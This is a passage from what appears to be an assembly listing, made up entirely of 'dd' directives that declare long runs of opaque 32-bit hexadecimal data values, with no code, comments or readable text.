2497C0Fh, 180E20F9h, 7AF0F8h, 786CB5EAh, 0EBC21F37h dd 0AFC05306h, 0EEC915E9h, 0B62E0F47h, 0D1000DC8h, 1A911B75h dd 0FC140100h, 79828E31h, 0B5B9007Eh, 76A75A08h, 9D24B247h dd 5E1124E0h, 9A88C300h, 7AC757F9h, 1681FF00h, 0DB26C547h dd 588FE625h, 18005289h, 0CB30568Ah, 0BB48E9A4h, 0B9630200h dd 40B892D6h, 0DAD344h, 0F55B3CF1h, 7CFFDDAFh, 0F2BE2A07h dd 4DF7524Ch, 778FA410h, 37051C43h, 612A84E9h, 0EA4808Bh dd 66121595h, 0B861E1E4h, 0C610CA47h, 3C0784E9h, 0E507F0BDh dd 429B8BE2h, 0BC9CFBh, 6657043Ch, 0CA8AFB19h, 70AA2E02h dd 4672C177h, 0E7D178C8h, 0C6B4608Fh, 0D3256E44h, 0D0F8A918h dd 0E1058E10h, 5C0D086Bh, 0A18C40Bh, 0FE121C33h, 0F848C839h dd 4A1E13E3h, 55D441EEh, 213E951Fh, 6FA6D46Ch, 8235A706h dd 9580CB6h, 6C6D15BCh, 0BDE3C80h, 0AF699EFh, 0F02FF309h dd 0E4940048h, 0D7CE54h, 1E900CC5h, 0BB381225h, 0A000BA79h dd 8A5482E8h, 786906h, 927E7BFh, 0CAC2FD58h, 7B4C1B48h dd 6C383300h, 2B1F29B6h, 90D248F2h, 0AD62F70Bh, 4910F890h dd 0FB00B090h, 0BEFEB522h, 0F4AE372Eh, 9DFA12F1h, 6A8400CFh dd 47A55819h, 9F157B04h, 58D3B2E1h, 2FA8001Ch, 0BD90FDE3h dd 709A5C14h, 0E1565800h, 24026AE2h, 0FFBB157Dh, 9A00A054h dd 95B9E8F1h, 2700A5EAh, 448DF9Fh, 303F973h, 0D01EA984h dd 42D82507h, 0B10086FEh, 0DDDC11BFh, 0C4D2CAh, 957DC25Eh dd 141948E2h, 0AD162007h, 778328C7h, 42ACB88Ah, 658600E3h dd 96851FE6h, 9B3BAA61h, 0BB7180A8h, 32C74E11h, 5D9C0027h dd 9FB167CAh, 6D007B8Ah, 0A269AE2Dh, 3E4E102Bh, 0BB00BDC1h dd 0AA132AB4h, 3C00FC68h, 4B213A79h, 9F40BAh, 4269B2C6h dd 49CC672Bh, 5190EC00h, 0DBA64A9h, 5FE6EEh, 239A19C0h dd 77C4943Fh, 3802B6EEh, 5628B5FCh, 0DB60E0CDh, 1E7B2Ch dd 0B2763FD9h, 9549A477h, 74001DFCh, 6B9752B4h, 3CBB02A6h dd 0C81FB657h, 54ED80DBh, 0FFD7D1ECh, 6C981F24h, 0BCC3A680h dd 0B1C8Fh, 2B246CB0h, 297CC549h, 0D165B20Eh, 54009272h dd 0F1EF3A43h, 0AC3E0125h, 0C4491383h, 4AC0D81Ah, 2C16E701h dd 69E64DB7h, 0E2B1C030h, 12BD3045h, 0C0E3FB11h, 0ACB6EA13h dd 0B0F9C802h, 61802C2h, 0E8F20060h, 780030E0h, 0BC6CEC16h dd 0FAB4D61Ah, 29C9221h, 4FF86031h, 94400987h, 6CB04643h dd 706077FAh, 3B0582Eh, 4C80098h, 60B781ECh, 8803C1AFh dd 0C2CB4CFBh, 661AF09Eh, 0BAB300FCh, 38C0B51Fh, 0F300E7E1h dd 8502998Dh, 3BC8DA35h, 4B00F15Ch, 3E84D345h, 0A62668C6h dd 0F300C649h, 4F5438E5h, 425800D8h, 41603E06h, 0C9133995h dd 0CC001AEDh, 0A98B0788h, 7C2407C0h, 9FD270F3h, 7658F178h dd 0EA4C7200h, 0A66EE5FCh, 0BF8D002Ch, 0AD1945F5h, 0E71CE46Ch dd 7500983Bh, 0CEB8A91h, 0E920E718h, 53200E3h, 99562F39h dd 454935C7h, 75B700ACh, 69F98CB8h, 0D0EC3880h, 4AE9D900h dd 63990876h, 0E10B44B0h, 8051210Ch, 646DCEA4h, 0DF2B00E2h dd 0BFD6CC89h, 9CBA0BEEh, 35486575h, 0A85C0AE0h, 0C100A311h dd 0F1B5EF77h, 459D025Eh, 1679281Ah, 0B64AA4C0h, 95933Eh dd 27F451BBh, 0EB76F7Bh, 665C70E5h, 63FF83BCh, 2FF201B5h dd 2213DCC0h, 1A40A809h, 2D288349h, 0A580D5A4h, 8D20D2h dd 0FB140C7Eh, 5D8E85EAh, 0BEC76800h, 0F8036EA5h, 0A3AF3DB4h dd 0F343D689h, 7E893CA0h, 9705350Ah, 264B8D51h, 31330F80h dd 3FB00F7h, 0EF76BB53h, 2A1E1AF5h, 61836B34h, 0F0D76744h dd 7960D15Ah, 0AC5600CEh, 0FBFD8FBBh, 0B00F648h, 4077A675h dd 7E87C5E8h, 0C94900A0h, 1215AB37h, 1900674Eh, 0EA08C653h dd 744A282Eh, 0A0330064h, 5F228046h, 1E00C576h, 67D19B11h dd 4A76BDCh, 0C2424B53h, 91C756h, 0E6A65EC8h, 12339100h dd 6C4003CCh, 689C071Eh, 0F7B4F1D6h, 0E1F41020h, 66B0D8A4h dd 4058E600h, 18CD5D17h, 3BE6A8h, 8A52EC65h, 600F7FBFh dd 0C641A203h, 83A43DD5h, 315CD042h, 0A7DA073Ch, 802D236Dh dd 773AA903h, 0B5589F03h, 0A9B48916h, 56F4EB2Ah, 571D1ED7h dd 0CF4C043h, 7724ADB5h, 0A95CA602h, 613F7FC1h, 0BEE8F6ACh dd 1DE200B6h, 0CC4BE0C0h, 7A012E14h, 10518CF3h, 72F9B05Ch dd 0C342C2E0h, 0EB734D11h, 6787D1E0h, 0EEE3101h, 95E474E7h dd 3A5B05E0h, 7F014FEDh, 497EC6F7h, 0C78FC415h, 0CE88120Eh dd 0A9F483A5h, 0B0D80034h, 40DE7305h, 3B031302h, 1512ADCEh dd 0D5ECC014h, 87880FAFh, 73235AE5h, 4040C8F2h, 0F930EE88h dd 0BB08685Fh, 0EE4307Bh, 67D06518h, 72E60200h, 0AAA590EFh dd 0B05A0085h, 0A1448DAh, 0A000FAB5h, 0E94FF217h, 947F13h dd 0EB43E54Bh, 821D658Bh, 55F84E00h, 77491CF3h, 955908A2h dd 0FB072E7Dh, 152185E8h, 6C05A6Ah, 62C40C63h, 5E206079h dd 0DF65F318h, 0EAF5A90h, 0E163E8D4h, 563E6A00h, 8201839Bh dd 0DFD8DB5Fh, 10F301F5h, 0F43F340h, 3B06BDDh, 0C03037BCh dd 40B3D081h, 411531EDh, 0BC9693h, 6B4AF7DFh, 33A74B5Eh dd 0E9185B87h, 0F40E091Eh, 92C48930h, 6451CFF0h, 0A1755AC1h dd 0D8D1815Eh, 6927F5CCh, 0A80B9EE0h, 1220EB0h, 627B3BB1h dd 0F46E5h, 821E6Eh, 9211634Ah, 69D4FB5Ah, 776CBF8h, 34471539h dd 600060ECh, 6919256h, 41501E8Fh, 161D45DBh, 572C3C7h dd 65724DB0h, 19406900h, 0BC86A8E1h, 95B00025h, 27743468h dd 263CDC32h, 0BF5F8039h, 6CF51FE2h, 648800CEh, 4C6E7497h dd 7E00296Fh, 0BB581804h, 30FFCB14h, 0F6901B19h, 27303331h dd 347CD95Eh, 144F03A5h, 0DD13042Ch, 23A30583h, 0EC292100h dd 0F026A1A5h, 4EDC6219h, 0B48083AEh, 20549005h, 350CE57Bh dd 188032F4h, 0BC0710B9h, 1F637F47h, 0A2D31548h, 4D108A61h dd 0B0262034h, 12344698h, 5305A51Fh, 4C4802D4h, 371E802Fh dd 419CAFA5h, 7C39FCECh, 0D0ED0057h, 6A024DDFh, 84E34990h dd 0F72C200h, 0DEAF62E7h, 85955D0Ah, 6D06F825h, 15503316h dd 0EC49795Ch, 168DC00h, 372E95D9h, 4B00BCECh, 0DFF13D8h dd 1BF2036Ah, 0C06BAC93h, 0E88B823h, 487FA603h, 2A5804F4h dd 1BA5003Bh, 4E478A62h, 66040A38h, 0EA2BE8EDh, 0F10F6C80h dd 0C0B818DDh, 0B196C810h, 11972500h, 99511E1Ah, 0D3F0007Ah dd 5076209Bh, 0E0003FBCh, 1F450ED2h, 3D19AEC6h, 801C896Eh dd 0D30C838Bh, 56E95227h, 511AD866h, 601B800h, 4BC0E7Fh dd 0EA5C00DEh, 7FF9F2Fh, 5007A539h, 3F35C97Bh, 0BC2AFCA0h dd 28DD0189h, 0D79A5DA4h, 34188044h, 2084E438h, 14D51C3Fh dd 0A010BDh dd 27E3F364h, 1CECCBB6h, 0C0E97AC2h, 47903D4Ch, 8400016Eh dd 0C8BCAD7Bh, 30FEB449h, 0FF706A17h, 79C189C9h, 89BF4D4h dd 0C426C4h, 8CA77754h, 0C033D866h, 0B9329D03h, 7349B88h dd 0E1FF1230h, 65719041h, 8161E218h, 706DCF18h, 298E9AEDh dd 8234299h, 8BF0E0EEh, 1B0374A0h, 40191553h, 0A650C3BAh dd 73E80080h, 68520AD9h, 9B00D8D4h, 0AFE7774Bh, 3A87D5h dd 66B556A1h, 0C252C563h, 0C3409200h, 9D73AD7Eh, 6DBE0017h dd 0AA3C76BCh, 1E01C80Ch, 8D3FD532h, 0ADEF1C40h, 0BD179C00h dd 0A35BFC2h, 0C404B726h, 0C075080Ch, 172D885h, 440C9007h dd 5CB02170h, 34A13ED6h, 0EDF16F8Bh, 19C60075h, 18DBAC79h dd 48701454h, 0DA781C32h, 80A32FEEh, 0B0A0338Ah, 0CDD2B5A8h dd 8079D9E1h, 17198561h, 1B9C9Dh, 0B52BC967h, 9B18D151h dd 88458100h, 4E0B6C7Ch, 9C300A8h, 0F4D7DA7Eh, 710053CCh dd 46992EC9h, 36E673Ch, 36062287h, 0CBE06B5Ah, 40075CB3h dd 8B49F131h, 98D1FDE3h, 4C3986C3h, 0A700224Eh, 135953CEh dd 710054E5h, 9DD5D341h, 9E22DFh, 29E75250h, 0E93DE1C5h dd 9F63E400h, 0AA02302Fh, 7677079Dh, 10FC8AFFh, 8C5F514Dh dd 0EE5DBA00h, 6B22421Eh, 3729008Fh, 0A61FFD4Ch, 1303648Dh dd 5EC9502Ah, 0EC4DB1ABh, 0A1C5A080h, 272BFA6Eh, 0B7E488C0h dd 71401301h, 0DFB60112h, 76448A15h, 6A7180FBh, 0CD797BADh dd 48C00653h, 0B89399D3h, 6890B700h, 0C0ED57Ah, 659A00F7h dd 66B2A5CAh, 2A01C4D4h, 0B6A1C959h, 42D05E33h, 0F3CF012Ch dd 7EAE8DBBh, 0D6F6203Ch, 8D40E30h, 0C79CB56Fh, 209E5C10h dd 0FEE73139h, 7F33Eh, 5C0ABF9h, 376594Eh, 5041AAC8h, 29113070h dd 0F511F6E2h, 0C74A11CDh, 215BB611h, 0CA7908A6h, 7BA0E88h dd 0C0AC03A2h, 43271680h, 8ECC3500h, 514EC988h, 9A49061h dd 0E212B4C0h, 8500958Bh, 45FE6B78h, 57C62E00h, 0D5366E15h dd 3C86F404h, 53BAF638h, 0A5129201h, 80A89A2Ch, 0F2BD6F0h dd 261A410h, 85711ACh, 0AAC093C8h, 403B02CAh, 90A38072h dd 7868B52Fh, 0DD320FABh, 0C800F1A4h, 0DCBD4D50h, 0E4D310C0h dd 4C871B82h, 0DF0111D2h, 0AA01A2D7h, 3485DC45h, 80753139h dd 0D939C836h, 3155E2Eh, 1E8668FDh, 0B2F8B465h, 366135FEh dd 418C3D98h, 8419C0h, 153CD4D3h, 381EB5BDh, 88F55Ch, 8BAAB9Fh dd 33F4A7h, 46CDE6CEh, 510E5B67h, 4F9F84C0h, 10596E4h dd 25D35D5h, 44B5DD9Eh, 0BB94C0F4h, 0F40EABADh, 605E203Ah dd 2777EF82h, 65230035h, 0CCA439E7h, 750763B6h, 0F43B67D4h dd 8E859950h, 97BD008Bh, 834179EBh, 560045A9h, 0CEBFD8E2h dd 0AD5220h, 74B029ACh, 0FA097FA6h, 7012FC1Dh, 68C27AC0h dd 122A71A9h, 0ABDF38h, 0D6C3E946h, 0B300CFA3h, 3F5C43A6h dd 90E26Ch, 2C053334h, 5AB1F660h, 0B0BDAB00h, 5B4CCFCAh dd 55EF03C5h, 8924921Fh, 1C67A2F8h, 0D6144101h, 0DB750A60h dd 0FEBFCCh, 0ED5DAD8Fh, 0A2943DACh, 6D5E9200h, 836B8D74h dd 115FED8h, 657E329Ch, 40AE9912h, 25C35394h, 0F5065B00h dd 0CDAD4052h, 9AFE0024h, 535AB501h, 0AA00E75Fh, 7118594Fh dd 0FFB389h, 0D4AFF681h, 0C5E29FB5h, 0C9955A00h, 187ECA34h dd 214E3F29h, 0D500C7BBh, 6CEBD7A6h, 3D004D03h, 0CF16B8F1h dd 26E9A4h, 0FAB9788Eh, 7C42A97Bh, 4382B200h, 5D5F3C98h dd 682C01C7h, 0BC923F15h, 0D69660A1h, 2E00FB72h, 0FE6F0473h dd 3C7B1D6Dh, 9080B407h, 35A3BB4Ah, 0A6F04B12h, 2D71F900h dd 5639D9ABh, 0ADA7004Dh, 4C9E6DB6h, 0D000D372h, 0C3B8C8C6h dd 14D192Ch, 9F085438h, 0E849B180h, 91010E13h, 817B6DBDh dd 0C33165A6h, 0A49CF8h, 0F407749Dh, 0CFFA024Eh, 0C3D67B00h dd 69C1C921h, 1D46005Dh, 9EEE8B5Ch, 7600C457h, 23E2AC94h dd 11A812Eh, 3B0E9A4Ch, 0C0E345C5h, 8B0F6D8Eh, 6EB4A30Fh dd 60BD2756h, 0A0F319B0h, 0F83D1FC3h, 7DC640D6h, 0EAE7A414h dd 40055F2h, 3622B3FAh, 0D2854Eh, 39543DDCh, 5CD91F01h dd 67441B1Fh, 0AFC59D80h, 0CC2B1Ah, 0E51C473h, 33DF0372h dd 7FD8D8A3h, 0FC00616Bh, 4CD2E10h, 0D5DBCBh, 0BC90E103h dd 31C422FBh, 67CF4C12h, 3A33D000h, 0FE84D8h, 53478CB3h dd 0B4FA9622h, 100F1FCh, 0AFD6058h, 24418EAh, 0DDC93638h dd 0E7E0F97Ch, 50BD9AE8h, 0D91603B5h, 2E95F16Ah, 40AD94E0h dd 39743300h, 0F2F4DC24h, 0B0132E43h, 44A70058h, 40111D05h dd 0CA1D900h, 23C4DEABh, 13F95835h, 0DB48D400h, 372AD8DAh dd 5970EA00h, 32320F6h, 756F0798h, 70E31CB3h, 0F2268001h dd 0D1244F00h, 5BB0C443h, 3A1000A8h, 87995127h, 3E013550h dd 6EAFA92Fh, 0A5D07504h, 9CA20095h, 0C084A4Ch, 0FF1F636Ah dd 0CFC14045h, 698B840Eh, 0C3FA8CCh, 0A1349513h, 66074E98h dd 0B40B56D7h, 679F21FEh, 0B030A2B0h, 0FCF61D74h, 0C280BB8Bh dd 990964Dh, 7200CCD0h, 0BB49FD5Dh, 73C98EDEh, 4C60131h dd 815F692Eh, 74C2817Eh, 1BEF3965h, 4CB170h, 6EC159F0h dd 0A91EECADh, 4221F502h, 605CFC4Bh, 87D9D7h, 0A7378E0Fh dd 529244CCh, 8B025900h, 0FFE97C62h, 0CFC002Dh, 21CF265Ch dd 0F000142Ch, 0A21D4533h, 7D354F2h, 0A603A398h, 0A8815E7Dh dd 802A3BE2h, 97419222h, 0DDDC57h, 0B6FA934Dh, 634950F3h dd 0FD0FDBEAh, 1E9D78Fh, 0A28D5F5Bh, 0F7C9040h, 0E0861E63h dd 0BBCF809Ah, 1367EC1Bh, 4BB739h, 0CC1F50C1h, 1DAE1A33h dd 80D232C7h, 0A194071Ch, 9FC369Dh, 2A698400h, 513A4934h dd 6EAE0F54h, 9A0A44B8h, 5E013CDCh, 0CB235619h, 0B9486071h dd 0AFF23C7Fh, 83B8DE00h, 0ECB0D9FEh, 64A80091h, 74A5B684h dd 0AE3B78AAh, 0E3E180A7h, 9A18CE6Eh, 0B22100E4h, 0A50D7901h dd 520EBBF9h, 14D2DAD1h, 5A2F0088h, 623E0894h, 65D600C4h dd 12551FA3h, 0E50F6D80h, 80493811h, 85DA6C79h, 0EFDE1EE7h dd 2C5B00CCh, 0CB96B16Fh, 27602800h, 11BD4184h, 65030046h dd 20AB2C08h, 0BF3E7AE4h, 0CC2D80E8h, 0F2DF4834h, 5D1745Dh dd 0D6DCF880h, 0CB30C072h, 0D73D83F6h, 0C233093Dh, 0B8700CCh dd 3A1A2F44h, 45806839h, 0AAB829A5h, 374C4023h, 0AC71001Ah dd 7051A9C6h, 6AE6EDh, 4ADA46Fh, 0F2C230BCh, 0F9CB9000h dd 9D32DC62h, 0A67BA9h, 8200940h, 1FF32DD2h, 78D45D00h dd 4C62EB16h, 0A40F009Ch, 0E41E35F5h, 0C0688E7h, 0FA841276h dd 0A6A81FB0h, 3674C0B3h, 0DCDFBAF5h, 12F71400h, 5EE74940h dd 317F2Fh, 704D226Bh, 0AE638472h, 38E25A1Fh, 0E7C39AC0h dd 0F0AD275Bh, 91D30029h, 99C437CFh, 2D4C724Eh, 0C7BD4041h dd 55C6B600h, 0B58C33A2h, 1C167B71h, 0C3B8F7B4h, 20991177h dd 3EAF2CE8h, 65001373h, 0F15B4F58h, 44B392h, 0F7ACE4D6h dd 8D233B5Ch, 9C9C2E39h, 480B111h, 2B65555Dh, 6A7907h dd 0D43A25B5h, 0C6F8C52Ch, 8A9E6250h, 1CFA6500h, 0D10EB592h dd 0D3B000DBh, 0CF70456Fh, 57000D88h, 5243536Dh, 0A562CAh dd 0D4550AAAh, 938B73E7h, 9F2CE48h, 81F9B9BAh, 0CA4AF7F8h dd 3A8A60h, 8AF4E3C0h, 1B68AA8Ch, 0C6A1FB00h, 0BE513385h dd 0F6FE00F7h, 4338E6C0h, 0A90EF821h, 0C06CB5E5h, 0F5571E74h dd 85B10086h, 0A1B2B8A8h, 27608128h, 0C957F18h, 2537070Dh dd 0EE77A0FFh, 0B2EE9CA0h, 0F2B0066Bh, 82DC7600h, 58178CF0h dd 0F570077Eh, 80B1D0BFh, 692547CDh, 55040A00h, 0DCAC8C3Eh dd 0C3E100EFh, 0EBB6766h, 681D4C1Eh, 0DDC32F42h, 0B119086Fh dd 22E4CD41h, 1B0C00DFh, 8D03112Bh, 21F881ADh, 0E276B305h dd 980041A7h, 7FD24014h, 0BE900E7h, 54B24429h, 0D60CEEF6h dd 0A5943C6h, 39AB0013h, 7F1C5E82h, 7D2C3228h, 0EA002A52h dd 79A80FFAh, 0F8920085h, 4AD10AFCh, 60C13E8Ch, 0E5F4CCCFh dd 837000D3h, 7DAA9485h, 0AE3F9BC4h, 1A0481BDh, 332E0886h dd 22630BCh, 122F0074h, 6DC9A1B6h, 5DB34900h, 96B9B28Ah dd 814B0027h, 36D97924h, 48D8CC9Ah, 335E20D1h, 2E304B0Eh dd 5900507Ch, 0E5F51A58h, 0BB9061h, 43C455DCh, 3FDD836Ch dd 0A88AD100h, 1DAA2A1Fh, 863E0037h, 0E5E9C311h, 0E018E22h dd 0D1202158h, 699CCD27h, 8D30002Ah, 0C17663D4h, 77D0C1Fh dd 0A600A416h, 24794A32h, 88AB1C64h, 0B11BC03Fh, 0F3F54F10h dd 8096D13Dh, 0BBACFB75h, 74DC8Ah, 9716724Bh, 0FA6DAE1Eh dd 69F05D00h, 8A8D21E6h, 3E24001Fh, 0F765A51Bh, 0ED004E22h dd 7F970FC9h, 0F63CB669h, 48BE0FC1h, 2C8091A5h, 61312076h dd 0DB8A1307h, 7C20075Eh, 32701B3h, 426B91CEh, 0A480881Ah dd 6C000512h, 0EB9B3908h, 0AE0B99h, 0B01DEAE3h, 40EF7907h dd 477ADE00h, 0B5901C69h, 0AE62386Dh, 0C4D85884h, 80509307h dd 2064008Fh, 0BE1FABCBh, 43B28C9h, 93888EDCh, 0D7E80890h dd 0A1D50378h, 0BC64B1C8h, 6BA25BC0h, 80152F3Ch, 0B0ACC97h dd 0CA3DF3h, 3BDB9E95h, 8DC0F8C7h, 5041B007h, 3F203515h dd 0C78481B8h, 0F0AC0659h, 4FF12B27h, 5B95DD03h, 0F0BD36F7h dd 0E63345h, 925114B9h, 6829B02Dh, 6D0F7F7Dh, 60495D94h dd 26150A4Bh, 0B4CC079Ch, 0C97125F1h, 4DF53800h, 4B719718h dd 0A3856700h, 60B2E29h, 5080048h, 4A232A35h, 0AC91DF2Fh dd 13F4C603h, 2E65882Bh, 0C2741836h, 9DBE18A6h, 4CD448h dd 0E6441BFAh, 0F6785Dh, 0EEF2F0F1h, 0BF767CF7h, 0EF49AC1Eh dd 1CC83B3Eh, 18000CEBh, 65F824DFh, 0FA6913D6h, 0EEAF03F7h dd 85C028AFh, 29C8FDB6h, 36898023h, 0CE5A87BCh, 0A2176A00h dd 7ACAC940h, 1CCC73E6h, 0C0FCDDC7h, 880DF871h, 0E139EA9Eh dd 9A518037h, 2BA16125h, 50D20057h, 0A3680CFAh, 0D71ECBDCh dd 0EF07D692h, 4E906F03h, 0A17E1Ch, 0EE129AF5h, 185F6ECh dd 0E70011B8h, 5DE2C2ACh, 0AAC4CBh, 370B38C8h, 8E5FCB3h dd 0B84D1000h, 497F409Bh, 3AF0001h, 8C9AD380h, 0C3001EBBh dd 92D91D5Dh, 606ED5h, 0A6CE8A54h, 0DEA3BF99h, 0E0132124h dd 0D7D95E00h, 16D654Ch, 7CC08C40h, 401853ADh, 8FFAF1ACh dd 0FCEB0200h, 0E90DA966h, 0B727005Fh, 6236E2D5h, 3100763Ah dd 4D7456C2h, 32D7D3h, 5753C064h, 0FBDC0C28h, 2F267BB0h dd 70E4F49h, 15CC23D5h, 856D982Ah, 0B27B094Eh, 2B80C4A4h dd 0F5B3B60Ch, 48E82C07h, 71E0025Ah, 386660DFh, 658054C8h dd 7D9050E6h, 0C17ED19Fh, 0D437B100h, 0F77E66B5h, 0F1A400FAh dd 883C078Ch, 5FA7434h, 6FAE9E06h, 0D8EBB7h, 0B6C68D01h dd 2341D0ADh, 48F72C58h, 33870054h, 86CB0D5Eh, 0BB1748F6h dd 9451901Ch, 0B851E428h, 0D292C0h, 0CDBF4362h, 4CC5BBD3h dd 0F4DD2200h, 76B1DA97h, 858D007Dh, 0F6C6FD6Bh, 0FE1D84E0h dd 16C70A92h, 5FC07CDAh, 5E737h, 0FC961867h, 0C5942463h dd 714A8600h, 0F4DCCC88h, 0BE1D071Ch, 30E1922Ch, 93E01A33h dd 0C488680Ah, 0D900A861h, 6E30ED77h, 33CB09DFh, 0C20FBE37h dd 1D95B0C1h, 0C772E028h, 7AE6DC3Bh, 9353BC00h, 2CD28FACh dd 0F27C3Ch, 0C1BB1F11h, 9BE54FE2h, 68237800h, 13B561FBh dd 2274E6h, 0A7CBD49Ch, 26BD763Dh, 10D548h, 0C567B0ADh dd 0E42436h, 6439AF21h, 153F07AAh, 27DDFBA0h, 0EE8538h dd 7082766Fh, 0F92DFE1Ah, 8A84B8EFh, 7F27004Ch, 11D794D5h dd 0D8C09946h, 0BD8EB1C4h, 52C5004Bh, 0D9C2A2B9h, 0A404103Ah dd 19330ADAh, 0BCA95880h, 6012001Dh, 0E6F17958h, 0D23C5CF4h dd 189D173Fh, 0C50DE18h, 3377F15h, 5D2DF841h, 0C2C0ABC1h dd 44246345h, 0A3030CEEh, 0B070B162h, 0EF233Fh, 87915DFCh dd 0EEADA5B5h, 153B0F00h, 0D3AEFB16h, 0AA6F009Eh, 0E893CEE3h dd 1200725Fh, 2AB36379h, 68D41CBh, 148F52DDh, 82264827h dd 791D58E6h, 0AD759C00h, 115D669h, 9678F921h, 0EC10D252h dd 5307D5C2h, 74E0DF67h, 1A16F030h, 29FC0702h, 976AA1CEh dd 0DE319009h, 13003530h, 8AD31DC6h, 16433AF2h, 1C5CC8h dd 0FF79F3B4h, 8BF8F4D1h, 40ECD007h, 0EB80D201h, 7ABB394Fh dd 5837242Bh, 0C0C51DBAh, 7E33B204h, 0B0049DAEh, 0EF556E57h dd 9044B4C3h, 2EBD102Ah, 1DF834A5h, 4F2E9E20h, 5D0074D7h dd 6692E43Ah, 83479000h, 7E3229ABh, 92F558D8h, 0E90C2B00h dd 35A2C35Ah, 0C4DE9A00h, 6CCADAF6h, 88BD00AFh, 1EC045B8h dd 0C700EE22h, 86E0D35Ah, 29927Ch, 81960195h, 0C91345ACh dd 339AD400h, 0B2FF1CC0h, 1282011Dh, 0AF513CD9h, 90B080C7h dd 7B07D5ADh, 508400D8h, 0DFFAC669h, 0A5002B5Ah, 1AD20975h dd 591F0Ch, 11DF4C8h, 93DA0A15h, 478A7600h, 0F7693311h dd 1AFC38A7h, 41B992h, 32BE6434h, 6A0093BDh, 0CF72F945h dd 596B75h, 90177398h, 0EB8AE1D9h, 7AB6C0Eh, 82AF4037h dd 0ED4D89Bh, 384FE856h, 0B4552F80h, 8E079CEFh, 650E17A7h dd 43DD7C90h, 0C4291E83h, 0FA4BC019h, 94A9BA61h, 67370C00h dd 0D29F3DE7h, 65F14C4h, 0E23CA490h, 0BE535260h, 803C64F5h dd 24EE0018h, 0B6CB8633h, 58767B52h, 0E00100D4h, 0FDF4195Fh dd 0B310300Ah, 0D3096E90h, 390ECAh, 361E2D18h, 9AF901Ah dd 2AC2AE47h, 71960420h, 56000AA6h, 0D138AAA0h, 1D7626F3h dd 0C1DD0994h, 0E4933DC9h, 0D970D099h, 85A3DA01h, 0E50C1F86h dd 0A47BB8F7h, 0B5A0095h, 0A0F26FFh, 7601636Bh, 6013A92h dd 5660D7A9h, 2482240Bh, 80ED0005h, 0BE77F054h, 4C571F09h dd 0ECC800Dh, 0D6128Eh, 7F7B9EE1h, 2943AD7Dh, 0E27C3102h dd 60C76350h, 0FCA3C3h, 92CE709Fh, 8A2BAEFDh, 7C72B20Fh dd 6A3E0178h, 0C640ABBFh, 1FE40709h, 80B65E22h, 0FDC3FE6h dd 3712DB0h, 7F6594Ch, 42DFCD5Ch, 0A9752A30h, 765D00F6h dd 903CDC77h, 4CBAC9C8h, 70E79300h, 8B50A5BBh, 0B49A0069h dd 88FCDF31h, 400790A8h, 0EF4635FAh, 40F25DE2h, 8AF7BDh dd 0FE919A03h, 945C2988h, 2A0F9700h, 0C7947DAh, 7BC98F3h dd 0EDC77634h, 0DEA206Bh, 0D363BEA2h, 0E0177778h, 1B3C782Dh dd 30EED267h, 10246FE0h, 174EA4Ch, 82CE8966h, 0D5D0F959h dd 5D880E29h, 1C46BB69h, 0FC80C1C8h, 0A8720BC5h, 9F094203h dd 3908E2Eh, 0EACF4150h, 0CAA0116Ah, 152D6EFEh, 0E3F6CBh dd 65C62E6Dh, 0E705ED1Ah, 0CD0D0B71h, 7C8093C5h, 0ACCB2Dh dd 6921272Eh, 55E73908h, 0AABDF000h, 15D2DCBEh, 897207A2h dd 0D0EB26ACh, 1287D0C9h, 95A5Ch, 52256D96h, 7F1CFD98h dd 797E0Fh, 7FFEF0C7h, 0D92F5E32h, 6325DF00h, 0EF8FE007h dd 357291h, 3C18BA45h, 86F72760h, 54AD0901h, 0FBD698E8h dd 5A4ED8h, 586F93C0h, 0EBEF94C1h, 83F2A20Bh, 0F11CA3AEh dd 4809B890h, 0BC95506Bh, 8AD6677h, 3D0321F5h, 449B099Ch dd 0BFC69CA4h, 3EB0719h, 8BEC37F7h, 0FE6A4F80h, 59FCEA17h dd 0A31A741Eh, 2506E4DEh dd 1D18FA9Ch, 2084542Dh, 0E478C928h, 8128277Ch, 0E4808B56h dd 324033D1h, 64C4A019h, 508CA51h, 1D2A80F4h, 694DC32h dd 0A6664A00h, 289B1045h, 6EEEA9Eh, 634BC4BEh, 14A852C6h dd 900FEFF2h, 61C9EC8Ah, 0CA28BB87h, 0CE9209Fh, 4318C3BEh dd 0DECBC19h, 1EDC3D32h, 4419C3D1h, 0C0DFBDD3h, 5B87E6B0h dd 10496830h, 3A23A551h, 2780B3DFh, 0FDBC63EFh, 1E00A280h dd 0DCB0D685h, 0C1553Ah, 0A9950771h, 9C59BF5Fh, 5608CC00h dd 16BA2410h, 426E00DCh, 40308717h, 0B700A320h, 2A037318h dd 0E90BBADDh, 812103CBh, 1136A2A7h, 5A6F51E8h, 0CA7919C0h dd 37DAADh, 0C5259542h, 596EDF14h, 0EB6021C0h, 4E3CFBh dd 3532D2A9h, 2C5F07A4h, 2695E300h, 608B6B83h, 7D1500B0h dd 67A75ABAh, 40D82050h, 6DED6AAh, 631A5ED3h, 146009B1h dd 0D64AF021h, 9F98009Eh, 76502847h, 6707437Ch, 537FF3F4h dd 26E96180h, 0EB3A0120h, 7D164057h, 38419C30h, 760080E9h dd 0C7F4FDA7h, 0BEFEA63h, 0BF94E658h, 4F6EFA80h, 0B418BBC2h dd 24A9161Dh, 49048668h, 0B6D3F7D6h, 21FD61h, 0FED64BF1h dd 0A1C10093h, 0BA6A1344h, 23002D79h, 5B11B6E8h, 0ACC87FDh dd 266312CFh, 940A3ED0h, 94E203h, 3569D6DFh, 0DB023B54h dd 6B771570h, 0D5C7E06Ch, 61800AFh, 0EB73298Dh, 0F200030Dh dd 13709733h, 0BF4EF7h, 5548045Ch, 0B5B4FC2Ch, 0E623B300h dd 0FF7C7942h, 0C82D00C9h, 25CA3EDAh, 8B0087ACh, 0B0A760F1h dd 0F362B3Ch, 0FC23C13Dh, 4528958Ch, 0C66DEC03h, 0DBF740D5h dd 0BDA0B0D4h, 65661F05h, 0F3C500C9h, 39100482h, 3CF760E9h dd 6E881900h, 92BEC650h, 15C3006Ch, 3822B3E9h, 0F61833E4h dd 3C60C734h, 76BC0044h, 8D7E43A9h, 0FFB830A8h, 0EC5C3918h dd 0FB2C5A8h, 0E3A926B3h, 7425D723h, 0F5BF6ED8h, 0E1233C00h dd 0C2A6A038h, 5B540F2Bh, 0C9F8105Dh, 4C1D20F4h, 0EB805C77h dd 0CA0C1366h, 58426082h, 0F076ADAh, 35C4F400h, 7A89E2C8h dd 0E375034Bh, 1D3FC2D7h, 78FB2918h, 0B33E08h, 0A25DF14Ch dd 90AB87Dh, 0A74205Ch, 88706635h, 0B6AAA583h, 8188F19Fh dd 52BA3F8h, 61087258h, 9EC02021h, 